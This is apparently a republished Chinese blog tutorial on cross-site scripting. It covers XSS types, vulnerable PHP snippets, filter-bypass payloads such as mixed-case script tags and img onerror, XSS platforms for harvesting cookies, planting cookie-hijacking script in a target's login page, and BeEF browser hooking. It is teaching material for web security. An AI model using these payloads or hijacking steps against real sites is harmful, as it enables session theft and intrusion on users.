web安全之XSS入门到精通

目录

一、原理解释

1.1 什么是xss

1.2 xss类型

1.3 xss危害

二、xss实战

2.1 基础入门

2.2 中级难度

2.3 综合过滤

三、高级利用

3.1 xss平台

3.2 cookie权限维持

3.3 beef


一、原理解释

1.1 什么是xss

恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

1.2 xss类型

存储型:恶意脚本会存储至数据库,例如:留言板

反射性:恶意脚本只会出现在游览器,一次性,例如:攻击者提前构造一个恶意链接,来诱使客户点击

DOM型:也是反射性的一种,利用非法输入来闭合对应的html标签

1.3 xss危害

窃取Cookies、蠕虫、钓鱼

二、xss实战

2.1 基础入门

没有任何过滤措施的用户输入

<?php
   $a = $_GET[“name”];	
   echo $a; 
?>

访问这个url:url?name=<script>alert(" xss")</script>

2.2 中级难度

有基础的过滤措施

(1)preg_replace ($a , $b , $c):将c中符合a的字符串替换成b

<?php
    $name = $_GET["name"];
    $name = preg_replace(“/<script>/”,””,$name);
    echo $name;
?>
通过改变大小写绕过:url?name=<ScriPt>alert(" xss")</sCripT>

(2)匹配中加入了个“/i”,大小写都替换,

<?php
    $name = $_GET["name"];
    $name = preg_replace(“/<script>/i”,””,$name);
    echo $name;
?>

换语句绕过:<img src=1 onerror=alert(1)>

(3)preg_match — 执行匹配正则表达式,直接将alert过滤掉了,

<?php
    preg_match(‘/alert/i’,$_GET[“name”])    
?>

confirm(),prompt()替换alert () :<script>confirm("xss")</script>

js中三种弹窗写在<script>中:confirm(),prompt(),alert()

(4)闭合绕过型

var $a=”<?php echo $_GET[“name”];?>”

”;alert(1);”

2.3 综合过滤

介绍个网址:https://www.freebuf.com/articles/web/153055.html

三、高级利用

3.1 xss平台

获取cookie的工具,这种平台有很多,可以找一个免费的

(1)新建项目

(2)填写基本信息

(3)很多xss利用代码,选择一个测试

(4)当有人访问了含有你的XSS代码的页面时,你的项目就会收到它的具体信息,包括cookie信息

3.2 cookie权限维持

在目标登陆文件中写入劫持cookie的xss语句

可以随时获取成功的登入的管理员账号的动态变化信息

3.3 beef

(1)一个xss利用神器,在kali中已经集成

(2)直接打开,出现两个网址:

第一个Web UI : 是beef在网页中打开的网址,访问它,用户名,密码都是beef。

(注意,你把网址中的127.0.0.1改成你机器真正的IP也可以登陆成功,kali中,ifconfig命令可以查看你的IP)

第二个Hook:使用来钓鱼的语句,把IP改成你真实的IP,如下图:

(3)把钩子语句放到目标游览器的一个html页面里,等待受害者游览这个页面

发现上勾着(我的另一台虚拟机,别让游览器把JS语句禁止了)

工具的其它功能很多,不一一介绍,命令模块下可以执行很多shell命令

猜你喜欢

转载自blog.csdn.net/xlsj228/article/details/90723310